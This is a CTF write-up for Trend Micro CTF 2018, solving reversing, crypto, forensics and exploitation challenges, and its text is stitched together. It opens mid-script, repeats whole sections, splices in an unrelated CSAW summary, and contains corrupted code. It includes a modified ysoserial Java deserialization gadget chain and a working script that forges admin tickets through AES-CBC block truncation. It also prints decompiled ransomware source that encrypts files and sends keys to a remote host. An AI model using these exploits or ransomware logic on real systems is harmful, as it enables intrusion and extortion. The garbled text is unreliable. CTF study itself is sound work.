for i in flag: inval.append(i^104)ROFL=list(reversed(inval))KYRYK = [0]*5QQRTQ = [0]*5KYRYJ = [0]*5QQRTW = [0]*5KYRYH = [0]*5QQRTE = [0]*5KYRYG = [0]*5QQRTR = [0]*5KYRYF = [0]*5QQRTY = [0]*5print len(inval)
for i in range(5): for j in range(4): KYRYK[i] ^= inval[i+j] QQRTQ[i] += inval[i+j] KYRYJ[i] ^= inval[i*j] QQRTW[i] += inval[i*j] KYRYH[i] ^= inval[i*j+8] QQRTE[i] += inval[i*j+8] KYRYG[i] ^= ROFL[i*j+8] QQRTR[i] += ROFL[i*j+8] KYRYF[i] ^= ROFL[i+j] QQRTY[i] += ROFL[i+j] KYRYK[i] += 32 KYRYJ[i] += 32 KYRYH[i] += 32 KYRYG[i] += 32 KYRYF[i] += 32 QQRTE[i] += 8 QQRTY[i] += 1
for i,j in zip(KYRYK,'R) +6'): k=ord(j) s.add(i == k)for i,j in zip(QQRTQ,'l1:C('): k=ord(j) s.add(i == k)for i,j in zip(KYRYJ,' RP%A'): k=ord(j) s.add(i == k)for i,j in zip(QQRTW,[236,108,102,169,93]): s.add(i == j)for i,j in zip(KYRYH,' L30Z'): k=ord(j) s.add(i == k)for i,j in zip(QQRTE,' j36~'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(KYRYG,' M2S+'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(QQRTR,'4e\x9c{E'): k=ord(j) s.add(i == k)for i,j in zip(KYRYF,'6!2$D'): k=ord(j) s.add(i == k)for i,j in zip(QQRTY,']PaSs'): k=ord(j) s.add(i == k)print s.check()realflag = ""for i in flag: realflag+=chr(s.model()[i].as_long())print realflag# TMCTF{SlytherinPastTheReverser}```
## Misc
### 100```shell$ binwalk EATME.pdf
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8749016 0xB6DD8 Zip archive data, at least v2.0 to extract, compressed size: 41, uncompressed size: 200, name: flag.txt749123 0xB6E43 Zip archive data, at least v2.0 to extract, compressed size: 4168158, uncompressed size: -1, name: galf.txt4969997 0x4BD60D End of Zip archive, footer length: 31, comment: "Boooooom!"4970099 0x4BD673 Zlib compressed data, default compression4971214 0x4BDACE Zlib compressed data, default compression4971660 0x4BDC8C Zlib compressed data, default compression```There are files `flag.txt` and `glaf.txt`. Try:```shell$ binwalk -Me EATME.pdfDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8^C```Flag is in `flag.txt`. Be sure to press `^C`, otherwise, the file `galf.txt` with size `-1` will be extracted...FLAG: `TMCTF{QWxpY2UgaW4gV29uZGVybGFuZA==}`
### 200
We are given a broken python script and a pcap file. The pcap file contains numerous ICMP ping packets, and it's obvious that there is payload hiding in ICMP tunnel. Let's extract them:
```shell$ strings traffic.pcap -n16 | grep , | grep '^[0-9][0-9,\.]*' -o4.242410,2.9708804.242410,2.9708807.021890,1.989350...```
Moreover, the broken python script implements DBSCAN algorithm. It's not very difficult to recover the script with the [source](http://scikit-learn.org/stable/auto_examples/cluster/plot_dbscan.html) available. Also we adjust the DBSCAN parameters `eps` and `min_sample`. In fact several pairs of `eps` and `min_sample` can produce the desired result.
```pythonimport matplotlib.pyplot as pltimport seaborn as sns; sns.set() # for plot stylingimport numpy as npfrom sklearn.datasets.samples_generator import make_blobsfrom numpy import genfromtxtfrom sklearn.cluster import DBSCAN
#humm, encontre este codigo en un servidor remoto#estaba junto con el "traffic.pcap"# que podria ser?, like some sample code
X = np.genfromtxt('test_2.txt', delimiter=',')print(X)db = DBSCAN(eps=0.3, min_samples=10).fit(X)labels = db.labels_n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)core_samples_mask = np.zeros_like(db.labels_, dtype=bool)core_samples_mask[db.core_sample_indices_] = Trueunique_labels = set(labels)colors = [plt.cm.Spectral(each) for each in np.linspace(0, 1, len(unique_labels))]for k, col in zip(unique_labels, colors): class_member_mask = (labels == k) xy = X[class_member_mask & core_samples_mask] plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col), markeredgecolor='k', markersize=14)
#NOTE: what you see in the sky put it format TMCTF{replace_here}#where "replace_here" is what you seeplt.title('aaaaaaaa: %d' % n_clusters_)plt.show()```

With @sces60107's sharp eyes, we quicklly realize that this is the mirror or `FLAG:1`. And the rest of the work is to guess the flag. Try each combination of `One, 1, oNE, ONE, FLAG:1, flag:one, 1:flag, flag:1 ....`
The flag comes out to be `TMCTF{flag:1}`.
### 300
The challenge is about java unsafe deserialization. The file includes `commons-collections-3.1.jar` and a web server, which deserializes the user's input:
```java// Server.java@WebServlet({"/jail"})public class Server extends HttpServlet{ private static final long serialVersionUID = 1L; public Server() {} protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { ServletInputStream is = request.getInputStream(); ObjectInputStream ois = new CustomOIS(is); Person person = (Person)ois.readObject(); ois.close(); response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!."); } catch (Exception e) { response.setStatus(500); e.printStackTrace(response.getWriter()); } }} ```
```java// CustomOIS.javapublic class CustomOIS extends ObjectInputStream{ private static final String[] whitelist = { "javax.management.BadAttributeValueExpException", "java.lang.Exception", "java.lang.Throwable", "[Ljava.lang.StackTraceElement;", "java.lang.StackTraceElement", "java.util.Collections$UnmodifiableList", "java.util.Collections$UnmodifiableCollection", "java.util.ArrayList", "org.apache.commons.collections.keyvalue.TiedMapEntry", "org.apache.commons.collections.map.LazyMap", "org.apache.commons.collections.functors.ChainedTransformer", "[Lorg.apache.commons.collections.Transformer;", "org.apache.commons.collections.functors.ConstantTransformer", "com.trendmicro.jail.Flag", "org.apache.commons.collections.functors.InvokerTransformer", "[Ljava.lang.Object;", "[Ljava.lang.Class;", "java.lang.String", "java.lang.Object", "java.lang.Integer", "java.lang.Number", "java.util.HashMap", "com.trendmicro.Person" };
public CustomOIS(ServletInputStream is) throws IOException { super(is); }
public Class resolveClass(ObjectStreamClass des) throws IOException, ClassNotFoundException { if (!Arrays.asList(whitelist).contains(des.getName())) { throw new ClassNotFoundException("Cannot deserialize " + des.getName()); } return super.resolveClass(des); }}
```
```java// Person.java and jail/Flag.javapublic class Person implements Serializable { public String name; public Person(String name) { this.name = name; }} public class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); }}
```
I use [jd-gui](http://jd.benow.ca/) to decompile the java class files.
The objective is to invoke `Flag.getFlag()`. However, it's tricky because:
1. getFlag() is static (class method)2. Server.java only accesses the member `person.name`.3. The server doesn't invoke any other method.
So we quickly realize it's not possible to call `getFlag()`. We need RCE / more powerful exploit.
We note that the `CustomOIS.java` uses a whitelist to check the resolved class name, but it's really suspicous because some weird classes are in the whiltelist, like `javax.management.BadAttributeValueExpException`.
With a quick Google we found [ysoserial](https://github.com/frohoff/ysoserial) can generate RCE payload for `commons-collections:3.1`, which is the dependency of the server.
Actually the `CommonsCollections5` utilizes those classes in the whitelist to trigger RCE, but `Java.lang.Runtime` is not in the whilelist. I think it's not able to RCE.
Though we cannot call `Runtime.exec()`, at least we can try to invoke `Flag.getFlag()`.
Here is the modified version of [CommonCollection5.java](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java):
```java// Some of the code is omitted....
import java.io.Serializable;class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); } }
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Flag.class), // Flag class here new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getFlag", new Class[0] }), // invoke static method getFlag new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new ConstantTransformer(1) };
...
```
We have generate the payload, but the class name of Flag is incorrect; it should be `com.trendmicro.jail.Flag`. Let's use Python to do the replacement trick:
```python# The first byte is the length of the class namereplace(b'\x17ysoserial.payloads.Flag',b'\x18com.trendmicro.jail.Flag')```
The flag: `TMCTF{15nuck9astTheF1agMarsha12day}`
|
In `CSAW Quals 2018 - shell_code` challenge, there is a simple `stack overflow` vulnerability that leads to code injection and eventually, execution of `/bin/sh`. The interesting part is that you cannot provide the whole shell code in one place; however, you need to break your shell code into 3 parts, feed each part to the program in a different place, and connect these 3 parts using jumps. |
# Trend Micro CTF 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180914-trendmicroctf/) of this writeup.**
- [Trend Micro CTF 2018](#trend-micro-ctf-2018) - [Analysis-Offensive](#analysis-offensive) - [200](#200) - [300](#300) - [400 ACME Protocol](#400-acme-protocol) - [Reversing-Binary](#reversing-binary) - [100 (sces60107)](#100-sces60107) - [300](#300-1) - [400](#400) - [part 2](#part-2) - [Forensics-Crypto1](#forensics-crypto1) - [400](#400-1) - [Forensics-Crypto2](#forensics-crypto2) - [100 (sces60107)](#100-sces60107-1) - [200 (sces60107)](#200-sces60107) - [300](#300-2) - [Reversing-Other](#reversing-other) - [100, 200 (sces60107)](#100-200-sces60107) - [400 (sces60107)](#400-sces60107) - [Misc](#misc) - [100](#100) - [200](#200-1) - [300](#300-3)
## Analysis-Offensive
### 200
We are given a program `oracle` which reads our input. If our input matches the flag, it outputs `True`, otherwise, `False`.
According to the hints from the description, (1) The program exits as fast as possible. (2) This is not a reverse challenge.
So, let's take a look at the system calls it uses:```shell$ strace ./oracle TMCTF{execve("./oracle", ["./oracle", "TMCTF{"], [/* 23 vars */]) = 0brk(NULL) = 0x146d000brk(0x146e1c0) = 0x146e1c0arch_prctl(ARCH_SET_FS, 0x146d880) = 0uname({sysname="Linux", nodename="ubuntu-xenial", ...}) = 0readlink("/proc/self/exe", "/home/vagrant/trend/analysis-200"..., 4096) = 39brk(0x148f1c0) = 0x148f1c0brk(0x1490000) = 0x1490000access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0write(1, "False\n", 6False) = 6exit_group(0) = ?+++ exited with 0 +++```Nice, it sleeps six times when the first six characters are correct. Here is our script:
```pythonimport subprocessimport string
flag = 'TMCTF{'while True: for c in string.ascii_letters + string.digits + '{}_': batcmd = '/usr/bin/strace ./oracle "{}" 2>&1'.format(flag + c) result = subprocess.check_output(batcmd, shell=True) if result.count('nano') == len(flag) + 1: flag += c break print(flag)```FLAG: `TMCTF{WatchTh3T1m3}`
### 300We are given three people's public keys and the messages for them respectively. For example,```message for Alice:18700320110367574655449823553009212724937318442101140581378358928204994827498139841897479168675123789374462637095265564472109735802305521045676412446455683615469865332270051569768255072111079626023422
Alice's public key (e,N):( 65537 , 23795719145225386804055015945976331504878851440464956768596487167710701468817080174616923533397144140667518414516928416724767417895751634838329442802874972281385084714429143592029962130216053890866347 )```It turns out that any two of the module `N`s has a common factor, thus they all can be factorized.```pythonfrom gmpy2 import *
...
g_ab = gcd(a_N, b_N)g_bc = gcd(b_N, c_N)
def decrypt(msg, p, q, N): phi_n = (p-1)*(q-1) d = invert(65537, phi_n) msg = pow(msg, d, N) print(int2text(msg))
decrypt(a_msg, g_ab, a_N/g_ab, a_N)decrypt(b_msg, g_ab, b_N/g_ab, b_N)decrypt(c_msg, g_bc, c_N/g_bc, c_N)```Hmm... is it worth 300 points?FLAG: `TMCTF{B3Car3fu11Ab0utTh3K3ys}`
### 400 ACME Protocol
We are given a protocol and some reference implementation in Python. The author of this challenge is so kind. Even a protocol spec is given! so let's take a closer look at the protocol to find the vulnerability.
First, our objective is obvious: run `getflag` as `admin`
```4.6 COMMAND (Message Type 0x06)
Message Format: Client -> Server: 0x06 | Ticket | Command
Explanation: Client requests execution of the command specified by the string Command. Ticket must be a valid, current ticket received via a LOGON_SUCCESS message.
Processing: The server executes the following algorithm upon receipt:
Set D = Decrypt(Base64Decode(Ticket), KS)Scan D sequentially as follows:Set IdentityFromTicket = JSON string (UTF-8, null-terminated)Set Timestamp = 8 bytesIf Timestamp is too old (> 1 hour): Respond with message AUTHX_FAILURE EndSet U to the string IdentityFromTicket.userIterate over IdentityFromTicket.groups, collecting the results into an array of strings, GSet Identity = object expressing U and GIf Command = โwhoamiโ: Set Result = JSON string: { user: Identity.U, groups: [ G1, G2, ... ] } where G1, G2, ... are the elements of Identity.GElse If Command = โgetflagโ: If G contains the string โadminโ: Set Result = CTF flag Else: Respond with message AUTHX_FAILURE EndElse: Respond with message AUTHX_FAILURE EndRespond with message COMMAND_RESULT(Result)```
Okay, the next problem is how to generate a valid `IdentityFromTicket`, which is a JSON string encrypted by KS (server key)? What we want to do is to send `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. Note that in this challenge we don't even have a valid guest account to login.
Of course we don't have the server key, but can we abuse other command to manipulate the payload? Let's take a look at LOGON_REQUEST:
```4.1 LOGON_REQUEST (Message Type 0x01)
Message format: Client -> Server: 0x01 | U
Explanation: The client sends this message to the server to initiate authentication with username U.
Processing: The server executes the following algorithm upon receipt:
Set Nonce = 8-byte random nonceSet Timestamp = current timestampSet ChallengeCookie = Base64Encode(Encrypt(Nonce | U | Timestamp, KS))Respond with message LOGON_CHALLENGE(Nonce, ChallengeCookie)```
Basically the server will encrypt user-provided U (username), and we'll get the ciphertext of `Encrypt(Nonce | U | Timestamp)`.
It's apparent that `Encrypt(Nonce | U | Timestamp)` is similar to what we need, `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. However, how to get rid of the nonce?
Since the encryption uses AES-128-CBC, it's feasible to truncate the nonce!
The idea is simple: we'll let the server encrypt the following payload:
```block 0: 8-byte nonce + 8-byte garbageblock 1,2,3: 16 * 3 bytes JSON stringblock 4: 8-byte timestamp + 8-byte PKCS#7 padding```
and we'll truncate the first block.
Here is the attack script:
```python#!/usr/bin/env python3import socketimport timeimport numpy as npimport jsonimport base64
def send(s): sock.send(s) print(f'[<-send] {s}')
def recv(): s = sock.recv(2**14) print(f'[recv->] {repr(s)}') return s
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(("localhost", 9999))
payload = '{"user":"admin","groups":["admin", "aaaaaaaaa"]}'assert len(payload) == 16 * 3send(b'\x01garbage!' + payload.encode() + b'\x00')# 0x02 | 8 byte Nonce | ChallengeCookie (null byte terminated)enc = base64.b64decode(recv()[1+8:-1])# enc: 6 blocks: iv | (8 byte Nonce | 8 byte garbage!) | 48 bytes payload | Timestampassert len(enc) == 16 * 6
#0x06 | Ticket | Commandsend(b'\x06' + base64.b64encode(enc[16:]) + b'\x00' + b'getflag\x00')print(recv())# TMCTF{90F41EF71ED5}sock.close()```
I guess some teams retrieve the flag using reverse skills, though the author claimed it's heavily obfuscated.
In real world, there are lots of protocols and it's really important to ensure every step is secure. IMO this challenge is well-designed and very interesting! I really enjoyed it. Thanks to the author for such a practical challenge.
## Reversing-Binary
### 100 (sces60107)
1. Use PyInstaller Extractor v1.9 and uncompyle22. Now we have this source code```python=import struct, os, time, threading, urllib, requests, ctypes, base64from Cryptodome.Random import randomfrom Cryptodome.Cipher import AES, ARC4from Cryptodome.Hash import SHAinfile = 'EncryptMe1234.txt'encfile = 'EncryptMe1234.txt.CRYPTED'keyfile = 'keyfile'sz = 1024bs = 16passw = 'secretpassword'URL = 'http://192.168.107.14'rkey = 'secretkey'key = os.urandom(bs)iv = os.urandom(bs)
def callbk(): global rkey global passw global iv global key id = 0 n = 0 while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs)
id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16)))
key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16)))
iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex') Headers = {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36'} params = urllib.urlencode({'id': id, 'key': key, 'iv': iv}) rnum = os.urandom(bs) khash = SHA.new(rnum).digest() cipher1 = ARC4.new(khash) khash = khash.encode('hex') msg = cipher1.encrypt(params) msg = base64.b64encode(khash + msg.encode('hex')) response = requests.post(url=URL, data=msg, headers=Headers) del key del iv ctypes.windll.user32.MessageBoxA(0, 'Your file "EncryptMe1234.txt" has been encrypted. Obtain your "keyfile" to decrypt your file.', 'File(s) Encrypted!!!', 1)
def encrypt(): global encfile global infile aes = AES.new(key, AES.MODE_CBC, iv) if os.path.exists(infile): fin = open(infile, 'r') fout = open(encfile, 'w') fsz = os.path.getsize(infile) fout.write(struct.pack('<H', fsz)) while True: data = fin.read(sz) n = len(data) if n == 0: break elif n % bs != 0: data += '0' * (bs - n % bs) crypt = aes.encrypt(data) fout.write(crypt)
fin.close() fout.close() os.remove(infile) callbk() else: return
def decrypt(): global keyfile key = '' iv = '' if not os.path.exists(encfile): exit(0) while True: time.sleep(10) if os.path.exists(keyfile): keyin = open(keyfile, 'rb') key = keyin.read(bs) iv = keyin.read(bs) if len(key) != 0 and len(iv) != 0: aes = AES.new(key, AES.MODE_CBC, iv) fin = open(encfile, 'r') fsz = struct.unpack('<H', fin.read(struct.calcsize('<H')))[0] fout = open(infile, 'w') fin.seek(2, 0) while True: data = fin.read(sz) n = len(data) if n == 0: break decrypted = aes.decrypt(data) n = len(decrypted) if fsz > n: fout.write(decrypted) else: fout.write(decrypted[:fsz]) fsz -= n
fin.close() os.remove(encfile) break
def main(): encrypt() t2 = threading.Thread(target=decrypt, args=()) t2.start() t2.join()
if __name__ == '__main__': main()```3. Extract information from filecrypt.pcap and decrypt the message then get this string `id=d1&key=2f87011fadc6c2f7376117867621b606&iv=95bc0ed56ab0e730b64cce91c9fe9390`4. But these are not the original key and the original iv. Take a look of this part of code, then you can recover the original key and the original iv```python while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs)
id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16)))
key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16)))
iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex')```5. The original key = `"ce66e0fe4c272316d680f66797c057e7".decode("hex")`6. The original iv = `"745def348b5106d157ad2f70281f7271".decode("hex")`7. Now you know how to retrieve the flag `TMCTF{MJB1200}`
### 300 The PE file has been `MEW` packed, we can using ollydbg to unpack it. And it also has anti debugger detection, but we can easily using static analysis to find the flag.
### 400#### part 2Using state compression to boost the speed of searching.```C++#pragma GCC optimize ("O3")#include<bits/stdc++.h>#pragma GCC optimize ("O3")#define f first#define s secondusing namespace std;typedef pair<int,int> par;unsigned char op[62];int cnt=0;inline unsigned char tohex(int x){ if(x>9)return x-10+'a'; return x+'0';}char s[100];unsigned int chash(){ unsigned long long int a = 0; for(int i=0;i<62;i++){ a = ( tohex((op[i]>>4&0xF)) + (a >> 13 | a << 19)) & 0xffffffffll; a = ( tohex(op[i]&0xF) + (a >> 13 | a << 19)) & 0xffffffffll; } return a;}void F(int p,int mask,bool boat){ if(p==62&&mask==0xFF){ cnt++; unsigned int hsh=chash(); if( hsh==0xE67FE7B8|| hsh==0xE27FEBB8|| hsh==0xE66FE7C8|| hsh==0xE26FEBC8|| hsh==0xF276F3DC|| hsh==0xE27703DC|| hsh==0xF272F3E0|| hsh==0xE27303E0 ){ fprintf(stderr,"%d %08x ",cnt,hsh); for(int i=0;i<62;i++) fprintf(stderr,"%02x",op[i]); fprintf(stderr,"\n"); } //puts("~~~"); return; } if(p+4<=62){ op[p]=0xd1; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xFF,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } else{ op[p+1]=0x0; for(int x=mask,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } } if(p+3<=62){ op[p]=0xd0; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+3,nmk,boat^1); } } else{ op[p+1]=0x0; for(int x=mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+3,mask^y,boat^1); } } } return;}int main(){ F(0,0,0);}```And you would get the output in about 15 seconds on Intel 8650U.```45721 e27303e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801045724 f272f3e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801059555 e27703dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801059558 f276f3dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801072019 e26febc8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801072022 e66fe7c8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d101801085399 e27febb8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801085402 e67fe7b8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d1018010```Send the instructions into the problem program.And you would get the flag:`TMCTF{v1rtu4l_r1v3r5_n_fl4g5}`By the way, there are 1348396 solutions of this problem.## Forensics-Crypto1
### 400We are given a pair of plaintext and ciphertext, also, an encrypted secret text. In this challenge, Feistel cipher is used in encryption. The round function is choosen to be `xor`, while the number of rounds of encryption is unknown. Our goal is to decrypt the secret text.
Let's first write down the results after every round of encryption. Let `L`, `R` be the first and last half of the plaintext, we simply ignore the difference of the keys and denote the xor sum of them as `K`. (But remember that they are not actually the same.) Note that the operation `+` means `xor`.```Round 0: L, RRound 1: R, L+R+KRound 2: L+R+K, L+KRound 3: L+K, R+KRound 4: R+K, L+R+K... repeat```We could find a regular pattern of the results, it repeats every three rounds. Though we do not know the actual number of rounds of encryption, but there are only three possiblities to try. Here is our script for decryption:
```pythondef bin2text(s): l = [s[i:i+8] for i in range(0, len(s), 8)] return ''.join([chr(int(c, 2)) for c in l])
def binxor(s, t): return ''.join([str(int(s[i]) ^ int(t[i])) for i in range(len(s))]) ...
pt0, pt1 = pt[:144], pt[144:]ct0, ct1 = ct[:144], ct[144:]st0, st1 = st[:144], st[144:]
# guess the result is R+K, L+R+Kk1 = binxor(pt0, ct1)k2 = binxor(binxor(ct0, ct1), pt1)
m1 = binxor(st1, k1)m2 = binxor(binxor(st0, st1), k2)print(bin2text(m1+m2))```FLAG: `TMCTF{Feistel-Cipher-Flag-TMCTF2018}`
## Forensics-Crypto2
### 100 (sces60107)
I will finish these part of writeup in my free time QQ
### 200 (sces60107)
1. Use PyInstaller Extractor v1.92. Cannot use uncompyle2. But we can reconstruct the flag directly from the byte code3. xxd mausoleum and get this4. It's easy to find out the pieces of flag. And you can reconstruct the flag `TMCTF{the_s3cr3t_i$_unE@rth3d}`
### 300
We can dump a x86 boot sector from `email.pdf`, that is a filesystem. when we mount the filesystem, we can see a small packet replay tool provided by trendmicro. We can find a packet replay binary at bin folder in the project.
It has one more parameter `-g` than the original binary. At function `sub_C42690("34534534534534534534534erertert676575675675675", 10)` return value is `0xfbfa`, when we change hex to decimal, we got the flag `64506`
## Reversing-Other
### 100, 200 (sces60107)
I will finish these part of writeup in my free time QQ
### 400 (sces60107)
1. Use `dis.dis` then you can extract python code2. Use Z3 to reconstruct the flag```python=from z3 import *
s=Solver()
flag=[]
for i in range(24): flag.append(BitVec("flag_"+str(i),32)) s.add(flag[i] < 256) s.add(flag[i] > 0)
summ=0
for i in flag: summ+=is.add(summ%24 == 9)s.add(summ/24 == 104)inval=[]
for i in flag: inval.append(i^104)ROFL=list(reversed(inval))KYRYK = [0]*5QQRTQ = [0]*5KYRYJ = [0]*5QQRTW = [0]*5KYRYH = [0]*5QQRTE = [0]*5KYRYG = [0]*5QQRTR = [0]*5KYRYF = [0]*5QQRTY = [0]*5print len(inval)
for i in range(5): for j in range(4): KYRYK[i] ^= inval[i+j] QQRTQ[i] += inval[i+j] KYRYJ[i] ^= inval[i*j] QQRTW[i] += inval[i*j] KYRYH[i] ^= inval[i*j+8] QQRTE[i] += inval[i*j+8] KYRYG[i] ^= ROFL[i*j+8] QQRTR[i] += ROFL[i*j+8] KYRYF[i] ^= ROFL[i+j] QQRTY[i] += ROFL[i+j] KYRYK[i] += 32 KYRYJ[i] += 32 KYRYH[i] += 32 KYRYG[i] += 32 KYRYF[i] += 32 QQRTE[i] += 8 QQRTY[i] += 1
for i,j in zip(KYRYK,'R) +6'): k=ord(j) s.add(i == k)for i,j in zip(QQRTQ,'l1:C('): k=ord(j) s.add(i == k)for i,j in zip(KYRYJ,' RP%A'): k=ord(j) s.add(i == k)for i,j in zip(QQRTW,[236,108,102,169,93]): s.add(i == j)for i,j in zip(KYRYH,' L30Z'): k=ord(j) s.add(i == k)for i,j in zip(QQRTE,' j36~'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(KYRYG,' M2S+'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(QQRTR,'4e\x9c{E'): k=ord(j) s.add(i == k)for i,j in zip(KYRYF,'6!2$D'): k=ord(j) s.add(i == k)for i,j in zip(QQRTY,']PaSs'): k=ord(j) s.add(i == k)print s.check()realflag = ""for i in flag: realflag+=chr(s.model()[i].as_long())print realflag# TMCTF{SlytherinPastTheReverser}```
## Misc
### 100```shell$ binwalk EATME.pdf
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8749016 0xB6DD8 Zip archive data, at least v2.0 to extract, compressed size: 41, uncompressed size: 200, name: flag.txt749123 0xB6E43 Zip archive data, at least v2.0 to extract, compressed size: 4168158, uncompressed size: -1, name: galf.txt4969997 0x4BD60D End of Zip archive, footer length: 31, comment: "Boooooom!"4970099 0x4BD673 Zlib compressed data, default compression4971214 0x4BDACE Zlib compressed data, default compression4971660 0x4BDC8C Zlib compressed data, default compression```There are files `flag.txt` and `glaf.txt`. Try:```shell$ binwalk -Me EATME.pdfDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8^C```Flag is in `flag.txt`. Be sure to press `^C`, otherwise, the file `galf.txt` with size `-1` will be extracted...FLAG: `TMCTF{QWxpY2UgaW4gV29uZGVybGFuZA==}`
### 200
We are given a broken python script and a pcap file. The pcap file contains numerous ICMP ping packets, and it's obvious that there is payload hiding in ICMP tunnel. Let's extract them:
```shell$ strings traffic.pcap -n16 | grep , | grep '^[0-9][0-9,\.]*' -o4.242410,2.9708804.242410,2.9708807.021890,1.989350...```
